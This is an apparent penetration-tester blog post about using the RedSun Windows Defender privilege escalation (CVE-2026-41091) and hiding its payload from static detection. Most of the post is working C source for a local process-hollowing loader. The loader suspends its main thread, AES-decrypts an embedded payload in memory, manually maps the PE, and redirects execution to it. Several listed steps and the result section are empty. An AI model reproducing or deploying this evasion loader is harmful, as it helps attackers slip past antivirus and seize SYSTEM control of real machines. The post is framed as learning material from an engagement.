REDSUN
CyberSec

RedSun: Critical Windows Defender Exploit Leveraging LocalHollowing Obfuscation
to Achieve Full System Control

There's lots to learn!

Posted on May 12, 2026
Author Im0s
CVE-2026-41091
RedSun
Process Hollowing

Context: What is RedSun?

During a penetration test engagement I exploited CVE-2026-41091, nicknamed RedSun a Local Privilege Escalation vulnerability in Microsoft Windows Defender's cloud file rollback mechanism. The exploit chain allows a standard authenticated user to escalate directly to NT AUTHORITY\SYSTEM.

The attack abuses 3 Windows primitives chained together:

Because Defender runs with SYSTEM privileges, the overwritten binary is executed in a fully elevated context, granting a SYSTEM shell from a low-privileged account.

The problem: dropping the raw RedSun.exe on disk is immediately flagged and quarantined by Windows Defender. The binary must never hit disk in plaintext.

The Problem : Static PE Detection

Static detection operates on the on-disk representation of a PE file. When a known-malicious executable is written:

No amount of runtime behaviour matters, if the bytes on disk are recognisable, the game is over before it starts. The solution is to ensure no cleartext PE ever touches the filesystem.

AES Encryption and Local Hollowing

Local Process Hollowing (self-injection hollowing) replaces the current process's execution context in memory with a secondary payload, entirely without writing a decrypted binary to disk. Combined with AES encryption of the embedded payload, the loader binary contains only ciphertext (zero recognisable signatures).

Diagram 1 : Full Attack Overview: From Disk to SYSTEM Shell
LOAD HOLLOWING EXPLOIT RESULT DISK HarryPotter.exe [ AES-256 encrypted RedSun blob ] main ( ) DuplicateHandle → CreateThread(Doit) MAIN THREAD DOIT THREAD WaitForSingleObject (INFINITE) SuspendThread (main thread handle) AES-256 Decrypt → PE image in memory VirtualAlloc + Map PE headers · sections · relocs · IAT SetThreadContext RIP → RedSun EP ResumeThread (main) Doit exits RedSun EP Executes in-memory, no disk write NT AUTHORITY\SYSTEM — S-1-5-18 SYSTEM SHELL VIA conhost.exe Main Thread Doit Thread Resumed / Result

Implementation

Entry Point : main()

The loader's main is deliberately thin. Its only job is to acquire a real, transferable handle to the main thread and hand it to Doit.

Why duplicate? GetCurrentThread() returns a pseudo-handle which is a constant meaningful only within the calling thread. To SuspendThread and SetThreadContext on the main thread from a different thread, we need a real kernel handle. DuplicateHandle with DUPLICATE_SAME_ACCESS produces one.
int main() {

    // GetCurrentThread() returns a pseudo-handle wich is valid only for the calling thread.
    HANDLE pseudoHandle = GetCurrentThread();
    HANDLE realHandle;

    // Transferable handle with identical access rights.
    if (!DuplicateHandle(
            GetCurrentProcess(), pseudoHandle,
            GetCurrentProcess(), &realHandle,
            0, FALSE, DUPLICATE_SAME_ACCESS)) {
        printf("[-] Failed to duplicate handle.\n");
        return 1;
    }

    // Spawn Doit thread, passing the real main-thread handle.
    HANDLE thread = CreateThread(
        NULL, 0, (LPTHREAD_START_ROUTINE)Doit, &realHandle, 0, NULL);

    // Block until Doit finishes (hollowing complete, main thread resumed).
    WaitForSingleObject(thread, INFINITE);

    CloseHandle(thread);
    CloseHandle(realHandle);
    return 0;
}
Diagram 2 : Thread Execution Timeline
MAIN THREAD DOIT THREAD t=0 t=1 t=2 t=3 t=4 Running: main() ⏸ SUSPENDED (waiting for Doit) WaitForSingleObject SetThreadContext RIP→EP ▶ RedSun EP runs Spawn Suspend(main) AES Decrypt Map PE SetCtx+Resume Exit SuspendThread() AES_decrypt() VirtualAlloc +memcpy SetThreadContext ResumeThread

Step 1 : Suspend the Main Thread

The first action of Doit is to halt the main thread so no further instructions execute while mapping is in progress.

// Received as argument: real handle to main thread
HANDLE mainThreadHandle = *(HANDLE*)lpParam;

SuspendThread(mainThreadHandle);
printf("[+] mainThread suspended\n");

Step 2 : AES Decrypt the Payload

The RedSun PE is stored as an AES-256 encrypted byte array embedded in the loader. Decryption happens entirely in heap memory, nothing is written to disk.

// Embedded ciphertext blob (compiled into the binary as a byte array)
extern const unsigned char encPayload[];
extern const size_t encPayloadLen;

BYTE aesKey[32] = { /* 256-bit key */ };
BYTE aesIV[16]  = { /* 128-bit IV  */ };

BYTE* decBuf = NULL;
size_t decLen = 0;

AES_CBC_Decrypt(encPayload, encPayloadLen, aesKey, aesIV, &decBuf, &decLen);
printf("[+] Decrypted\n");

Steps 3–6 : Manual PE Mapping

decBuf now holds a valid PE image in heap memory. We manually map it at a freshly allocated virtual address.

Diagram 3 : Manual PE Mapping: Raw Bytes → Mapped Image in Memory
RAW FILE (heap) PE STRUCTURE MAPPED IMAGE (VirtualAlloc) DOS Header (MZ magic) IMAGE_NT_HEADERS OptionalHeader · FileHeader .text (PointerToRawData) .data (PointerToRawData) .rdata (PointerToRawData) .reloc (base relocations) .idata (import table) ① Read OptionalHeader. ImageBase + SizeOfImage ② Iterate IMAGE_SECTION_HEADER[] for each section → copy raw data e_magic = 0x5A4D (MZ) e_lfanew → NT headers offset Signature = 0x00004550 (PE\0\0) AddressOfEntryPoint ← EP here ImageBase · SizeOfImage memcpy( imageBase+VA, raw+RVA ) for each section VirtualAlloc (SizeOfImage) MEM_COMMIT | PAGE_EXECUTE_READWRITE imageBase+0x000 ← Headers SizeOfHeaders bytes imageBase+VA ← .text VirtualAddress from section hdr imageBase+VA ← .data imageBase+VA ← .rdata imageBase+VA ← .reloc Apply delta fixups here imageBase+VA ← .idata / IAT Patch with GetProcAddress results Entry Point (EP) imageBase + AddressOfEntryPoint ③ reloc delta = actualBase − preferredBase ④ Walk IAT: LoadLibraryA + GetProcAddress ⑤ SetThreadContext: RIP = EP address
// Read PE metadata
PIMAGE_DOS_HEADER dos  = (PIMAGE_DOS_HEADER)decBuf;
PIMAGE_NT_HEADERS  nt  = (PIMAGE_NT_HEADERS)(decBuf + dos->e_lfanew);

printf("[+] The PE file is valid.\n");
printf("[+] PE data : 0x%016llX\n", (ULONG_PTR)decBuf);

// Allocate virtual memory for the mapped image
LPVOID imageBase = VirtualAlloc(
    (LPVOID)nt->OptionalHeader.ImageBase,
    nt->OptionalHeader.SizeOfImage,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);
// Fall back to any address if preferred base is occupied
if (!imageBase)
    imageBase = VirtualAlloc(NULL, nt->OptionalHeader.SizeOfImage,
                             MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// Map headers
memcpy(imageBase, decBuf, nt->OptionalHeader.SizeOfHeaders);

// Map sections
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
    LPVOID dst = (LPVOID)((ULONG_PTR)imageBase + sec->VirtualAddress);
    LPVOID src = (LPVOID)((ULONG_PTR)decBuf    + sec->PointerToRawData);
    memcpy(dst, src, sec->SizeOfRawData);
}

// Apply base relocations
ULONG_PTR delta = (ULONG_PTR)imageBase - nt->OptionalHeader.ImageBase;
if (delta != 0) {
    PIMAGE_DATA_DIRECTORY relDir =
        &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PIMAGE_BASE_RELOCATION reloc =
        (PIMAGE_BASE_RELOCATION)((ULONG_PTR)imageBase + relDir->VirtualAddress);

    while (reloc->VirtualAddress) {
        WORD* entry = (WORD*)(reloc + 1);
        DWORD  count = (reloc->SizeOfBlock - sizeof(*reloc)) / sizeof(WORD);
        for (DWORD j = 0; j < count; j++) {
            if ((entry[j] >> 12) == IMAGE_REL_BASED_DIR64) {
                ULONG_PTR* patch = (ULONG_PTR*)(
                    (ULONG_PTR)imageBase + reloc->VirtualAddress + (entry[j] & 0xFFF));
                *patch += delta;
            }
        }
        reloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)reloc + reloc->SizeOfBlock);
    }
}

// Resolve IAT
PIMAGE_DATA_DIRECTORY impDir =
    &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PIMAGE_IMPORT_DESCRIPTOR imp =
    (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)imageBase + impDir->VirtualAddress);

while (imp->Name) {
    LPCSTR dllName = (LPCSTR)((ULONG_PTR)imageBase + imp->Name);
    HMODULE lib    = LoadLibraryA(dllName);
    PIMAGE_THUNK_DATA thunk =
        (PIMAGE_THUNK_DATA)((ULONG_PTR)imageBase + imp->FirstThunk);

    while (thunk->u1.AddressOfData) {
        if (!(thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)) {
            PIMAGE_IMPORT_BY_NAME ibn =
                (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)imageBase + thunk->u1.AddressOfData);
            thunk->u1.Function = (ULONG_PTR)GetProcAddress(lib, ibn->Name);
        } else {
            thunk->u1.Function =
                (ULONG_PTR)GetProcAddress(lib, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
        }
        thunk++;
    }
    imp++;
}

Step 7 : Redirect Entry Point & Resume

With the image fully mapped and imports resolved, we redirect the suspended main thread's instruction pointer to the payload's entry point, then resume it.

Diagram 4 : Import Address Table Resolution & Thread Context Redirect
IAT — BEFORE (unresolved) IAT — AFTER (resolved) IAT[0] → IMAGE_IMPORT_BY_NAME VirtualAlloc IAT[1] → IMAGE_IMPORT_BY_NAME CreateThread IAT[2] → IMAGE_IMPORT_BY_NAME GetProcAddress IAT[N] → … LoadLibraryA(dllName) + GetProcAddress(lib, funcName) → real function address in ntdll/kernel32 IAT[0] 0x7FFE2A013C40 VirtualAlloc IAT[1] 0x7FFE2A019B20 CreateThread IAT[2] 0x7FFE2A01CF80 GetProcAddress IAT[N] …real addresses… THREAD CONTEXT REDIRECT ctx.Rip = …old value… ctx.Rcx = …old value… GetThreadContext(main, &ctx) ctx.Rip = imageBase + EP SetThreadContext(main, &ctx) ctx.Rip = imageBase+EP ResumeThread(main) ✓
// Redirect main thread instruction pointer to the mapped EP
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(mainThreadHandle, &ctx);

ULONG_PTR ep = (ULONG_PTR)imageBase + nt->OptionalHeader.AddressOfEntryPoint;
ctx.Rcx = ep;   // first argument (RCX convention on x64)
ctx.Rip = ep;   // instruction pointer

SetThreadContext(mainThreadHandle, &ctx);

// Resume main thread now executes RedSun entry point
ResumeThread(mainThreadHandle);

Execution Flow Summary

#FunctionPurpose
1DuplicateHandle()Convert pseudo-handle => real transferable handle to main thread
2CreateThread(Doit)Spawn hollowing worker; main thread calls WaitForSingleObject
3SuspendThread()Halt main thread; no instructions execute during mapping
4AES_CBC_Decrypt()Decrypt embedded ciphertext => valid PE image, heap only
5VirtualAlloc()Allocate RWX region sized by SizeOfImage
6memcpy() × NMap PE headers + each section at their respective Virtual Addresses
7Relocation loopPatch all absolute addresses by delta = actual - preferred
8LoadLibrary / GetProcAddressResolve every imported function; write real addresses into IAT
9SetThreadContext()Overwrite RIP with imageBase + AddressOfEntryPoint
10ResumeThread()Main thread resumes; executes RedSun EP as the loader's identity

Result

The loader (HarryPotter.exe) was delivered to the target host. On execution :

Diagram 5 : Result (PoC)
image

Key Takeaways